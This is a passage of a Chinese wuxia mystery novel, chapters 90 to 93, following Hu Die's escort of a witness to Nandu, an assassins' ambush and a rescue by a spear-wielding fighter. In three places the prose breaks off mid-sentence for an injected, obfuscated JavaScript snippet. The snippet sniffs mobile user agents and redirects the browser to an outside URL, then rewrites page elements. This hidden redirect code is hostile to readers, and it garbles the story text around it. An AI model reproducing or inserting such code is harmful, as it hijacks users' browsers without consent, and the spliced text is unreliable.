胡碟知道他在担心什么,便道:“我游走四方,来去随心,若觉得哪里适合,便去哪里,如今觉得是时候去南都一趟了。” 言下之意便是,她心中有数,虽然任务没完成,但也到了回去复命的时候了,他无须担心。 徐友来心中松了一口气,这样便好,否则他总怕云逸杰的任务完成得不好,影响他晋升。 “既如此,您还有什么吩咐,一起说来便是。” 胡碟眉角抽了抽,有些不自然地按住。徐友来跟她说话的语气,向来是尊敬中夹着一半高高在上,命令中夹杂着一般遵命,好不割裂,好不别扭。 “徐大人哪里的话,我哪里有什么好指挥您的呢?我只是有些事需要再说明一下,许梅香的案子该怎么做才能既有效果又不惹民愤,我已经说过,便不再赘述了,今日是想说说许梅香母亲刘大娘的事。” “刘大娘?”徐友来有些不可置信,一副“你又要给我派什么活儿”的样子,“刘大娘不是想和许梅香葬在一处么?我已经派人解决了,还有什么需要做的呀?” 胡碟摇摇头,声音有些低沉:“徐大人,刘大娘为何会死?” 徐友来呆呆地望着他,很想说他不至于连这个都不知道,想了想还是作罢:“她是路见不平,见义勇为才丢了性命的,这我是记得的。” “不,”胡碟面上的表情很是坚决,“她其实不用为我挡那个飞镖的,那时她其实已经看见春信将我拉开了,她是自己主动凑上那枚飞镖的。” “什么?!”徐友来道,“她自己主动寻死?这是为何,她很快就能看见杀死女儿的凶手被绳之以法了呀,何苦呢?”他不住地摇头,表示坚决不信。 守一抱着刀在一旁沉默着,也开口道:“她说得没错,刘大娘是故意挡下那枚飞镖的。” “可我不明白呀……” 胡碟道:“我想答案她已经告诉我们了。她说,她已经不相信了。我想她是听见昨夜谢明乾劝我走的话了,她怕我离开,怕许梅香的案子就此搁置,哪怕我们曾多次保证会为许梅香沉冤昭雪,她也不相信了。” 徐友来道:“我想起来了,她被自己丈夫骗过好几次,也是因为这样,她才没能救回许梅香,所以她失望了。” “再加上先前民众反对的呼声很高,她也怕官府迫于压力,无法给她女儿一个公道,对么?”守一看向胡碟。 “没错。她是想以死相逼,她是死给我看的,想要我为她女儿的案子负责到底。可是她不用这样,我也不会不管的呀……”胡碟眼中透着忧伤,“但或许也不仅仅是死给我看的,更是死给全城的人看的,她要所有人看到,受害的不是那些想买媳妇儿生儿子的人,也不是卖媳妇儿活命的人,而是像她和女儿一样无辜的人。” “这是她的宣言,也是她为这个案子留下的盾牌。” 90. 第九十章 徐友来长叹了一口气,无比郑重道:“许梅香的案子,本官一定会查到底!” “有你这句话,刘大娘泉下有知,必然也能安心了。”胡碟默不作声地瞟了徐友来一眼,说着些不着边际的吹捧的话,要给他一种责任感与荣誉感,叫他在许梅香的案子上一刻也不手软。 “徐大人,既然刘大娘是为案子死的,那么咱们就要帮刘大娘完成她的心愿才是。” 徐友来听得云里雾里:“她的心愿不就是为许梅香伸冤么?” “确实是这样,可是伸冤难呀,谁敢保证百姓不会再闹事反对?”胡碟狡黠一笑,“刘大娘也是这样考虑的,所以她为了女儿的案子死去的事不能瞒着,还要在全城传唱,让人们知道许梅香和刘大娘皆是受害者,让大家也同情同情她们。这样一来,下次升堂不就能顺利许多了么?” 徐友来恍然大悟:“怎么做?要不要我写封告示出去?” 胡碟神秘地摆摆手:“这样太刻意。”她从袖子里掏出一枚银锭,这是谢明乾之前塞给她的,美其名曰“报酬”,她那儿还有好几块呢。 “这个你拿着,找一个有名的戏班子,花点钱,让他们把这个故事排成戏,然后在东街演上个三四五六天的,对外就说是路过的富商为积攒阴德,请大伙儿看戏。” 徐友来接过银锭,仿若接过尚方宝剑般凝重:“明白。” “切记,写得悲怆些,主要描写刘大娘有多惨,写她和许梅香母女情深,不要写前案,也就是买卖人口和砍人的案子,也不要写官府如何查办。就写这许梅香母女与其霸道的父亲之间的故事,写这个父亲如何在意颜面、如何欺瞒,又是如何置女儿于死地,再写刘大娘为了女儿如何救我云云。” “总之越悲伤越好,再加上些意象,比方说许梅香的湛蓝头巾,还有什么一棵杏花树什么的,总之让人们方便记住。” 徐友来觉得这主意有些剑走偏锋,却又觉得或许可行,便笑着答应了。 “那好,我就去请醉红轩的戏班子,此事包在我身上。” 胡碟道:“醉红轩?” “是啊,醉红轩的戏班子是两年前从外头请来的,厉害着呢,现在已经是醉红轩的招牌之一了。当然,我还有另外一层考虑,那便是我在醉红轩有个卧底,他方便四处查探,到时候若戏班子演出中有何不妥,我也好及时知道。” “卧底?”胡碟觉得今夜真是惊喜连连,“什么时候开始的?” 徐友来说起来有些后怕:“从我到任时便知上任县令程泉乃是死在醉红轩的……” 胡碟打断他的话:“我怎么没听说?” 徐友来道:“此案没有抓到凶手,那时我刚上任,不想一来便处理一个没有结果的凶案,便搁置了。再说传出去的话醉红轩的生意也不好做,所以对外一直说是县令暴毙在家中,实则是在醉红轩被人刺死的。” 胡碟眼底闪过暗色,难怪,难怪她的人之前只查到一半,知道是被刺死的,却不知是死在醉红轩的。若不是今日徐友来提起,恐怕这线索便要看错了。 徐友来接着道:“后来,大概是三年前,醉红轩又出了件斗殴的事,死了好几个人,我去醉红轩发了一通火,叫他们管好店里,否则休怪我不客气,那老板顾紫陈答应得好好的,结果第二日我便接到有人秘密来信,说顾紫陈说了,不用管我。当时我气急了,差点想把醉红轩给封了。结果第二日又收到来信,那人说他会给我做卧底,叫我不用担心,若有事他会主动联系我。” “他做卧底,效果如何?” “还是很不错的,每次有什么意外发生,顾紫陈都会压下来,但有了卧底之后,我们每次都能及时接到报案,也就方便了许多。” “好,那就按徐大人说的吧。此事既已商定,明日我们便要启程,徐大人,那就辛苦你了。” “不辛苦不辛苦。我给各位准备了一架大一些的马车,好方便各位上路,就停在县衙西门外,不知可要配个马夫?” 守一摆手:“不必了。” “徐大人,我们就告辞了,明日来接陈仵作。”胡碟与守一离开了县衙,她们明日将要乘的那驾马车正在西门的月光下静静地停放着,月影浮动,马车的帘子一角轻轻动了动,随即归于平静。 - 翌日清晨,胡碟收拾着自己寥寥无几的行李,一边听春信在耳边叽叽喳喳地说着话。 “你的衣服就这么两件啊?你的行李包起来也只是干瘪瘪一个,比我的还小呢!”春信提着胡碟的包裹。 胡碟走到画像前毕恭毕敬地将其取下,卷好放进竹筒里。又到窗边将风铃拿下来,“滴滴答答”地递给春信:“还有这两个。其它的……”她环顾四周,“其它的便没有了,咱们可以出发了。” 她自南都出来时,本来就和逃命似的,哪里顾得上带什么东西,只这画像和风铃,是云江早早替她收好了的。 再加上她那时计划好,乘马车至豫城,再在进城后换马,乔装改扮,势必要轻装简行才好。 春信将竹筒和风铃小心翼翼地收进胡碟的包裹里,一边念叨着:“你不知道我昨晚听见你要和我们一起离开时心里有多高兴,终于解决了我的心头大患,我已经连夜写信给大师兄了,他如果知道你会去的话,一定也很开心的……” “……那我还真是很荣幸成为你的大患。”胡碟推开门,穿过院子,再往前走便是闹哄哄的街市,一路向县衙去,颇多感慨。 路过醉红轩时,胡碟驻足端详着白日里沉睡着寂静的酒楼,出神地站了一会儿。 “看什么呢?”春信问。 “我在想,能不能遇见顾紫陈。”胡碟仰着头。 “你见她干嘛呀?” 胡碟摇头:“不知。” “春信。”胡碟唤了一声,“你说这顾紫陈,会是个什么样的人?” 春信皱着眉头:“我不知道。我只知道咱们再不走,街上的人该多起来了,我嫌烦着呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177280|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 胡碟收回目光:“走吧。” 到了县衙时说起这事,徐友来道:“这顾紫陈啊,名声臭着呢,外面喜欢她的人多,骂她的更多。” “缘何骂她呢?因为她长得太漂亮了?还是因为她做生意奸诈?”胡碟问。 “左不过就是她仗着宗室女的身份招摇过市呗。” 胡碟却道:“我对她感兴趣,是好奇,一个女子,怎么能把生意做这么大的。我不是说信不过她的能力,她的雷霆手段我可是见过的,确实厉害。我只是想说,大昭对女子做生意应当是防备的吧,她又是如何畅通无阻的呢?” “一是她好大的勇气,不得不叫人佩服,二来,她会不会有所依仗呢?”胡碟思索着。 “有所依仗?”徐友来不太明白,“她是宗室女,虽说是离了家人的,可总归有些权势,或许家里帮衬呢?” 胡碟却觉得不太可能。皇族每年都要祭拜红鸾塔,难道会允许女儿在外抛头露面?也就是在如此山高水远的地方,否则若是被昭恒帝知道了,他第一个不答应。 “也许吧。” “各位大人久等了。”陈祥背着个包袱走出来,神情有些疲惫。 “没事。”胡碟注意到他的神色,问道,“陈仵作可是昨夜没睡好?” 陈祥抱歉道:“到陌生地方,有些不习惯。再加上今日要出发,心里总有些忐忑。” 胡碟笑道:“咱们还得在外面飘荡好一段时间呢,可要辛苦陈仵作了。至于前途之事,陈仵作不必忐忑,我这两个侍卫厉害着呢,定保你无虞。” 陈祥苍白的脸上挤出个困难的笑:“好,咱们出发吧。” 天边云雾散开,朝霞放光。马头冲着一轮红日萧萧鸣过几声,便朝着红日尽头去了。 车厢内,胡碟与陈祥隔着老远坐着,陈祥许是真的没睡好,不一会儿便小鸡啄米,闭着眼睛昏昏睡去。 胡碟拉开窗帘往外看,云山乱,晓山青,阳光正灿烂。苍翠的树木如同疾驰而过的行人,匆匆化作光影从窗外掠过。清风一阵,虽没了什么花香,但却有草木的芬芳,令人心旷神怡,心神宁静。 “咚” 胡碟听见什么响声,便隔着门帘往外一瞧:“可是有什么动静?” 春信和守一相思一眼,凝重地齐齐向对方点头,守一接过缰绳,春信手掌撑在守一肩头,借力顺势弹跳而起,撩开门帘就如雨丝般轻盈往里钻去。 胡碟坐在门边,觉出不对劲,对上春信的眼神,凌厉警惕,便知这其中有异。 她一个侧身,为春信让出去路。 春信背在身后的手抽出软剑,如银蛇飞舞,铮铮向前,直往轿厢后端的座椅底下钻。 春信怒喝一声:“大胆!什么人敢藏在我等马车里?” 剑光森森,照亮了座椅底下的一小片黑暗。 底下的人惊慌失措,似是不小心撞到了周遭的木板,哀叫了几声,大喊道:“不要不要!” 91. 第九十一章 春信皱眉,反应过来这声音格外地熟悉,伸手一拉,抓住那人的手:“怎么是你啊?” 蒋玉蓉嘟着嘴,眼中晕着泪花:“对不起……” “行了,快起来吧!”春信无奈地将她从狭窄的空间拉出来。 胡碟道:“幸好进来的是春信,手下留了情,若是守一,还没看清你是谁,你就一命呜呼了。” 蒋玉蓉吓得一哆嗦,春信也有些不自在,二人对视一眼,蒋玉蓉默不作声地低下了头。 “表妹?你怎么会在这儿?!”陈祥迷迷糊糊被吵醒,睁眼一看才知道蒋玉蓉竟跑到马车上来了,吓了一跳,“你、你怎么从家里出来的?姑姑可知道?” 蒋玉蓉低着头,怯怯地道:“我昨晚本想与你们辞行的,可到了县衙,遇上徐大人正在吩咐人准备马车,让人将马车停到西门外。他告诉我你们不在,我可以今晨来等你们,再跟你们道别。昨夜我想了一夜,翻来覆去的睡不着,我想跟你们一起去南都!” 蒋玉蓉抓住陈祥的袖子,有些祈求地望着他。陈祥心疼表妹,却也只能看向胡碟。 胡碟道:“所以你就趁我们还没上车的时候躲起来了?” 蒋玉蓉点点头。 春信道:“一上车我和守一就觉察出车上多了个人,一直没说就是等着对方露出马脚,没想到最后抓到的是你这只小老鼠。” “你可同家里说过了?”胡碟问。 陈祥担忧地看了蒋玉蓉一眼:“恐怕未曾同家里说吧,她若是说了,姑姑一定不会同意的。” 蒋玉蓉急忙道:“我早上爬起来,给母亲留了信的,说我同县衙的大人一起去南都,会平安回来的……” “会平安回来?”陈祥嗔怪道,“你小小年纪,我们这么些人是去办案子的,人人自顾不暇,如何能保护你,你又如何保护自己?” “我可以保护自己的!”蒋玉蓉执拗道,“我有毒粉的!”她从袖子里掏出一小包粉末,“你看!” 陈祥觉得她简直是胡闹:“你……” “蒋姑娘莫非对毒物颇有研究?” “她小小年纪,闹着玩罢了,大人别同她一般见识。” “我……”蒋玉蓉看了看表哥,在心里给自己加油打气,小声对胡碟道,“我是挺喜欢的,我们家的毒物笔记我都看过了,都记得的,如果大人有需要,我可以帮忙!” 她要抓住这个机会,一个被看见的机会,一个能发挥所长的机会,所以她不能退缩,她不能再躲在自己胆怯的遮盖背后,她得自己去争取。 胡碟浅笑着点了点头:“很厉害呀。”她纤长的指拨开窗帘,看了看外面的景色,转头对春信道:“我们行至何处了?” 春信想了想:“大概走出七八十里了。” 蒋玉蓉抠着手指,忐忑地等着胡碟发话。 陈祥试探道:“如若不是太着急的话,还是送玉蓉回去吧。”他转向蒋玉蓉,“玉蓉,我们不是去游玩,也不是去验尸的,你跟着我们也没什么好处,恐怕还会耽误各位大人的要事,我看你还是回去的好。” “我不、我不……”蒋玉蓉一个劲儿地摇头。 胡碟道:“陈仵作,您还真没说错,我们是挺着急的,这时候要回转禹城恐怕不太方便,只有辛苦玉蓉同我们去南都了。” 蒋玉蓉闻言就差没跳起来把车盖子掀了,春信笑着道:“你待会儿把车跳歪了,小心守一姐姐提着刀进来治你的罪。” 外头认真赶着马车的守一:“……我看你再不出来继续赶车,我要治你的罪倒是真的。” 春信:“……哦。” - 晋王府。 赵雍正在莲池边悠闲赏花,扔几颗鱼食进水中,碧波荡起涟漪,朱红锦鲤摆尾。 “老爹,你在这儿喂鱼呢,找你半天。” 赵雍头也不回:“讲。” “哦,金梅卫和天璇阁的人都已准备妥当了,不日便可得手,父亲就放心吧。”赵于芳道。 “很好。”赵雍将手里的一把鱼食全洒进了鱼塘里,引来几条鱼竞相争食,跃过水面,惊起水花四溅。 赵雍蹙眉,嫌弃地站起身,接过小厮递来的帕子擦了擦衣摆,走到凉亭里坐下:“云逸杰现在何处?” 赵于芳跟上来,弯腰低声道:“这小子现在跟谢明乾找到的证人一同出发来南都了,在路上走着呢!” “哼,”赵雍气得牙痒痒,“我就知道这小子要给我找麻烦!竟然还真让他把证人给找到了,难怪谢明麟这么沉不住气把消息透给我,原来是他也惧怕云逸杰探案之能啊。估计也是他给谢明乾建议,兵分两路,好秘密行事,护送证人,不让人起疑心的吧。” “可不是么,谢明乾要是有了谢明麟这么个帮手,还不知要兴起多大的风浪来呢,他可是百姓口中赞誉有加的神探,净巍宗的案子要是这么查下去,别说谢明麟了,我们也倒霉了……” 赵雍“啪”地拍响赵于芳的脑瓜子:“你这个兔崽子,怎么灭自己志气涨他人威风呢!我踢不死你这个倒霉的!” 赵于芳抱着头:“我错了我错了,我一时嘴快,我没有那个意思的呀父亲!” 赵雍停了手,满脸阴沉道:“一定要把云逸杰给我斩立决!还有他帮谢明乾带回来的那个人证!否则,否则……” 他一脸痛色地望着赵于芳:“傻儿子,你做的蠢事,就兜不住了……” 赵于芳大惊:“老爹、老爹,您这是什么意思啊,我是您唯一的儿子啊,您不能放弃我呀。” 赵雍睁开黝黑的眸子:“前些日子被云逸杰追查的那个吏部小官之死,你就一点也不觉得奇怪么?” 赵于芳呆愣愣道:“他、他五年前帮过我们,对么?” “没错。他死亡的现场还有两个字,一曰晋,一曰禹,你觉得,这是什么意思?” “他……他想出卖我们?” “傻瓜,”赵雍沉重道,“他因此事得了便利,又因此事而死,他没有可能在临死之前良心发现要把我们供出来。这一切只有一种可能,那就是这两个字,是凶手留下的。至于凶手到底是想指引谁去查我们,还是单纯地想警告我们,都不重要了,反正不是已经有人上钩去查了么?” 赵于芳恍然道:“所以这次无论如何都不能让云逸杰活着回来……” 赵雍颔首:“既然已经知道这件事的重要,那便速速去办! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187702|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定不能失手!” “是!” 赵于芳走后,赵雍满怀心事,踱步至池塘边,却见满池的锦鲤都翻了圆鼓鼓的肚子,满满地堆在池面上。 “这是怎么回事?!” 小厮见赵雍怒火冲天,忙不迭跪下:“奴才也不知,刚才您离开不久,这鱼便翻起来了,奴才也不知是怎么回事啊。” 赵雍一愣,望着那空空如也的小盆,这才回想起自己坐在这儿喂了一下午的鱼,不知不觉间将盆里的鱼食都给扔完了。 鱼是不知满足的东西,他无休止地投喂,它们便把自己给撑死了。 赵雍捏紧了拳头,一股无名火无处发,又有几分隐隐的不安在心中窜动,一脚踢翻了小盆,怒骂道:“该死!” 晃动打圈的小盆像一只小陀螺,盘旋得越来越快,快得像一阵风,险些抓不住。 这翻滚的风被胡碟一把扣住,她有些懊恼自己原本在思考那伙逃掉的刺客,为何会一时失神打翻了茶盏。 “你没事吧,敏理哥哥。” “没事,这茶杯是空的,被我把玩时不小心打翻了而已。”胡碟回过神来,审问似的盯着蒋玉蓉。 蒋玉蓉指了指外面赶马车的人:“是春信姐姐教我这么叫你的。” “我没有。”春信一本正经的声音自前方传来。 胡碟没再纠结这个问题,扒开帘子:“咱们还有多久能到?” “路上走了两天了,算算还有一日左右也就该到了。” “嗯。”胡碟道,“也不知幽王如今怎么样了。” “如今应该也差不多刚到吧,我们就比他晚出发差不多半日而已。” 守一道:“他们骑马,应当比我们快些。” “也对,总之就算不是刚到,恐怕也是在洗漱更衣,准备面见皇帝,向他陈述我们这么多年的冤屈呢。” “再等到证人入南都,那时候便可揭开一切的误会了,咱们的任务最是关键。”胡碟放下帘子,“大家都辛苦了。” “不辛苦,马比较辛苦。”春信打趣道。 就在霎那间,马鸣阵阵,胡碟刚想说马儿也听懂了人话,便觉得马车被一股拉力往前拽着,向前翻滚出去。 “是绊马绳!” “有埋伏!” 春信和守一焦急的声音接连传来,胡碟揽过一旁蒋玉蓉的头摁在自己膝上:“得罪了!”大喊道:“守一!保护陈祥!” 利刃从胡碟肩侧擦过,差些许便能捅穿她的手臂,那利刃向上飞走,将整个车厢直直分成了两半,胡碟抱着蒋玉蓉,就这么顺畅地咕噜噜滚下了车,被土坡给截停了下来。 守一的刀挡开四散飞舞的木屑,将抱着头哆嗦的陈祥拎起来,心急如焚地赶到胡碟身旁:“没事吧!” 胡碟灰头土脸地坐在地上:“我们没事,春信还好么?” 守一回头,她们几人躲在春信的守护之下,身后是土坡,身前是团团围上来的黑衣人,春信正拿着软剑挡在前面,与三四个黑衣人对峙,这伙人与先前的那伙黑衣人很不一样,隔着黑衣也能感受到对方浓浓的杀气,春信很明显应对得有些吃力。 “不好,是天璇阁的人!” 92. 第九十二章 夏日初盛,野草疯长。凌乱的草丛时不时遮住前方打斗的人,春信的刀剑如银蛇如丛,卷起碎叶纷飞。 “一共五个人,比之前的黑衣人少了很多。为首的红衣使的剑是天璇阁的路数,看来这帮人武力强悍,否则怎么五个人就来埋伏了。”守一道。 胡碟趴在她旁边:“天璇阁是什么?很厉害的江湖组织么?” “没错,天下第一的杀手组织,只要拿了钱财,谁的性命都敢,看来对方这次是真的要下死手,非取我们的性命不可了。”守一目不转睛地盯着前方态势,“遭了,那人好像是天璇阁的阁主,他若出山,势在必得。” 胡碟不止这么多,突然冒出来一句:“真有那么厉害么?你们净巍宗也打不过?” “……”守一回望她一眼,前所未有的凝重,“真的很厉害,若是我们剑术第一的人在,也还需我们几个合力反击,兴许有胜算,可是如今只有我和春信两个,与对方人数悬殊,恐怕只有奋力一搏,成败只看运气了。” “剑术第一不就是那远在南都的谢明乾么,看来是指望不上了,”胡碟道,“他总不能预知我们有难回来搭救吧?” “我得去帮春信了,他们并没有分派人手围攻后方的我们,我们在前面挡住,你们想办法逃脱,碰到机会再看吧。” 胡碟拉住守一急匆匆欲离开的衣角:“注意安全,咱们全都要顺利活下来。” “好。”守一匆匆应下,胡碟甚至觉得她根本没听清楚她在说什么。 她知道这样的话是废话,可也不得不说。 再来,结合守一对天璇阁的描述,对方没有分派人手围攻后方,似乎并不是战术安排而已。 上次在禹城的刺杀,摆明了是冲着她来的,对方的目标很明确,所以追着她杀就行了。可是如今这些人,倒像是有恃无恐,认准了她们这队人马,便要赶尽杀绝,一个不留,所以不管杀谁都是杀,也就不分先后,打算先杀前面的,再杀后面的! 如此看来,退无可退。 胡碟叫陈祥和蒋玉蓉凑近些:“咱们伺机而动,如果找到机会,就抓紧跑出去。大家都盯好了,莫要分神。” 陈祥和蒋玉蓉皆是郑重地点了点头。 蒋玉蓉道:“哥哥,我有毒粉呢。” 她自顾自地掏着东西,一抬头便见两道目光落在她身上:“……” 蒋玉蓉把纸包递给胡碟:“就是这个。” 胡碟接过纸包,目光幽深,闪着光芒:“很好。蒋姑娘,可否告诉我,这毒粉该如何使用?” 蒋玉蓉有些紧张,就跟当众汇报似的,舔了舔干燥的嘴唇:“这、这毒粉我只是尝试,还未使用过,怕不小心杀了人,所以只带了能使人麻痹的药粉出来,这药粉只要撒在对方面前,吸进去便可有效。” “好。”胡碟忍不住摸了摸蒋玉蓉的头,“妹妹,你真是太厉害了。” 蒋玉蓉有些骄傲又羞赧地笑了起来。 “小心!” 剑气逼人的一道光险些命中春信的腰背,守一出声提醒,又紧接着追砍过去,在对方的手臂上划出一道血痕。 胡碟低声道:“好样的!” 蒋玉蓉也在观战,低呼一声:“小心!”胡碟再次看去,春信又是一箭堪堪从对方脖颈处划过,因为放了对方一条生路,霎时间优势变劣势,被对方乘胜追击,背上被划伤了一道口子。 看着春信碧绿的衣衫破了道红色的口子,胡碟心中焦急不已,攥紧了脚边的草。 她算是知道了,春信不够狠。不仅如此,她还惧怕着什么,所以总是关键时刻变得畏首畏尾。 春信负了伤,不仅没有泄气,反而愈发强势起来,连连进攻,不一会儿对方的人便都挂了彩。 胡碟笑道:“春信这是终于被逼急了。” 几个黑衣人似乎觉得这两人太难应付,于是转头向胡碟的方向过来。 “他们终于朝我们过来了,大家做好准备。” 留下来与守一春信打斗的便是穿着红衣的天璇阁阁主,攻势凌厉,先前似乎是收着些力道,现下见僵持不下,猛然间加强了攻击,守一和春信两人也才刚刚与他打成平手。 春信注意到几个黑衣人的离去,与守一对视一眼,对方心领神会,春信便跳起狠狠给了对面的红衣一剑,被对方顺利格挡开,她顺势向后滚落,腾起轻功飞奔过来。 “就是现在!跑!”胡碟指了个方向。 她们站的位置在山坡前,左前是黑衣人,右边是春信,她们往左跑,与黑衣人撞个正着,胡碟身量最高,掏出蒋玉蓉的毒粉往对方脸上一撒,三个黑衣人齐刷刷中了招。 胡碟屏住呼吸推开站在原地动弹不得的黑衣人,拉着蒋玉蓉和陈祥就跑。 这毒粉有多大的威力,连蒋玉蓉自己都不知道,她们只能一直往前跑,跑出去才有机会接着想办法。 果然,还未跑出几步,那伙黑衣人便清醒了过来,恼羞成怒,提着刀剑便要追上来,被身后的春信一剑劈过来,三个人伤得重了,齐齐吐出血来。 胡碟喜上眉梢,蒋玉蓉懊恼地回想着自己的毒粉:“许是杂质太多了。” 陈祥指着那边道:“身后有人!” 原是红衣人见她们要逃,舍了守一追过来。守一心急如焚,刺伤了剩下的黑衣人,前来搭救。 红衣人的剑正要中春信后脑,守一便飞身前来,金光微寒的刀如捕猎的野虎,挡开红衣人的剑,守一扑向春信,顺势滚远了些,她接着迅速爬起来,刀身上多了一道拦腰的裂缝,显得更加凶残和凌厉。 守一和红衣人皆是双目赤红,使出了浑身解数,衣带沾尘鬓角发湿,饶是如此,守一也没有退后一步。 蒋玉蓉趁着她们打斗的功夫从胡碟手中拿过未用完的药粉,战战兢兢地大着胆子朝地上趴着的黑衣人走去,挨个脸上都补了些粉,口中念念有词:“虽然效果不太好,但能麻一会儿是一会儿!” 红衣人好似这下才火力全开,让守一应付得有些吃力。那红衣人转头一看黑衣人都倒下了,骂了声:“废物!”而后将食指弯曲放到嘴边,长长地吹响一声。 三个红衣人从山坡背后飘然而至。 “遭了,他们竟然还有后手!”春信咬牙切齿地站在了胡碟三人身前,“这什么人啊,对付我们不该掉以轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201462|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心么?怎么还连环招?天璇阁对自己这么没信心么?” 胡碟三人被守一和春信夹在中间,一边是守一对战的天璇阁阁主,再加上悠悠转醒的四个黑衣人;另一边是和春信交战的三个红衣人。 胡碟额角落下一滴汗,不知是担惊受怕的冷汗,还是焦灼燥热的热汗。 “守一和春信,已经很厉害了,对上这么多人,也只是打个平手而已。”胡碟似是安慰般的说道。 可她话音还没落,便听见身后传来“铮”的一声,这声音好像有些熟悉,胡碟转身一看,是守一的暗金色宝刀发出的嗡鸣,难怪如此熟悉。 胡碟这才想起除了方才裂开的那道口子之外,那日在玉迦山上,守一为了去查看那根鱼线,便已经摔过一次这把刀。 那刀发出一阵碎裂的声音,沿着拦腰的缝隙断成了两半,刀尖“当当”落地。 一瞬间,周遭安静极了,风过无声,流水潺潺,树摇草动,一切都不如那刀尖落地的声音,响彻天地间。 守一那张冰冷的脸闪过一丝错愕,随后是呆愣。 谁都没有想到这刀会断,谁也都想不到这刀的断裂会给战况带来怎样的改变。 胡碟感受到了身旁蒋玉蓉的惊慌,同样也感受到自己心上泄了气,跳漏了一拍。 大家都有些慌乱。 黑衣人和黑衣人却都觉得态势大好,打斗更加卖力了起来。 然而守一也只是僵硬了一瞬,拿着那半把断刀迎上了对方纷至沓来的刀剑,刀光剑影之中,冷傲与狠劲丝毫不输。 她的汗水像珠帘一般甩成线,奋力地厮杀着,好似根本没有觉得自己没了刀有任何问题。 天璇阁阁主蒙着面,露出的双眼紧紧地拧在一起,骂了句:“疯子!”他后撤了一步,好似在做什么决定。 胡碟望着这一切,喃喃道:“哀兵必胜。” 春信和守一被逼急了,那股狠劲连天璇阁阁主都感到惧怕。 果然,他高喊一声:“抓人!” 一声令下,四面的黑衣红衣都向胡碟冲过来,胡碟心一横,便将陈祥和蒋玉蓉给推开了。 守一和春信与他们搅打在一起,天璇阁阁主却趁此机会把陈祥掳走了。 “撤!” 胡碟心中警铃大作,中计了!这伙人到底是冲谁来的? 他们带着陈祥,翻身上马,极速离开,守一追上去,却难敌马蹄的速度。 胡碟走上前去,守一愤愤道:“人已经被抓去了,再想抓回来,除非大师兄在,否则我们突破不了。” 胡碟道:“人证被抓走了,是故意的还是顺手而已?” 春信道:“就算杀不死也得掳走几个,这是天璇阁的作风。瞧他们的架势,是冲着我们所有人来的,应该不是计划好的。” 伴着蒋玉蓉的啜泣,他们眼见着马蹄踏起的烟尘缓缓消失。正在一筹莫展的时候,那伙人竟然跟见着鬼似的倒退着往回走了! “这是怎么回事?” 春信道:“咱们有救了!” 她手指着的方向,一个高大英武的身影迈着稳健的步伐从容不迫地向杀手队伍逼近。 93. 第九十三章 只见来人身高九尺,四肢修长,精壮坚韧。马尾高束紫金冠,红锦花袍明光甲,虽然也着红衣,可红衣猎猎生风,如壮阔的波涛般激流向前,寸步不让,在一众杀手面前,有如蚯蚓面前的蝮蛇。 这少年手持一杆红缨飘摇的长枪,蹬地而起,长枪凶猛,步伐轻盈,刚中有柔,柔里化刚,招式矫健而狠厉,只一出手,便如月出迷雾散,露重化水滴一般自然—— 万数兵器任我用,百般造化由我弄。 山石海土,日月云霞,在我手畔,我为其主。 黄土之上,人杰之中,此人当为天下一等一。 此人举手投足之间,有俾睨众生的傲气和实力,目空一切,取项上人头,不过拈指一动之间。 守一看得目瞪口呆:“竟是失传多年的梨花枪……” 胡碟勾唇笑得很是得意:“没错。” 失传多年,相传最后一次现世,还是当年娘子军中的女将军用此枪和枪法,天下无敌手。 春信两眼放光道:“我还以为是大师兄呢,没想到是个比大师兄还厉害的人。我们要不要去帮帮他?” 胡碟帮守一捡起地上的断刀,对她道:“她的话,一个人就够了。” 守一低下头直直地看着手里的断刀,点头。 说话间,那边已结束了战斗,天璇阁阁主在错愕中被削掉了脑袋,随即杀手队伍便被全歼。 那红衣银甲的少年拎起阁主的脑袋,取下蒙面之物看了一眼,皱眉道:“丑死了。” 胡碟望着她左手拎着个血呼刺啦的人头,右手提着吓晕过去的陈祥越走越近,连忙摆手:“人头就不必拿过来了。” 转头一看,春信和蒋玉蓉已经捂住嘴了。 “那好吧。”少年浑不在意地随手将那人头一扔,扬起凌厉方正的下巴,“就扔这儿,天璇阁的人自会来收尸的。” 蒋玉蓉匆忙拉上春信去将陈祥接过来。 少年屈指在嘴边吹响了个极为欢畅的调子,一辆马车自前路驶来。 “早料到路上少不了凶险,我特意备了辆马车。” 胡碟笑道:“不错,派上用场了。” 她对守一道:“你去看看那些黑衣人,他们应该不是天璇阁的人,去看看是什么来路。” 守一走过去翻动看了看,瞧见个熟悉的金梅图样,心下了然。 可胡碟正言笑晏晏与那少年相谈甚欢,她也就识趣没去打扰,转去看陈祥了。 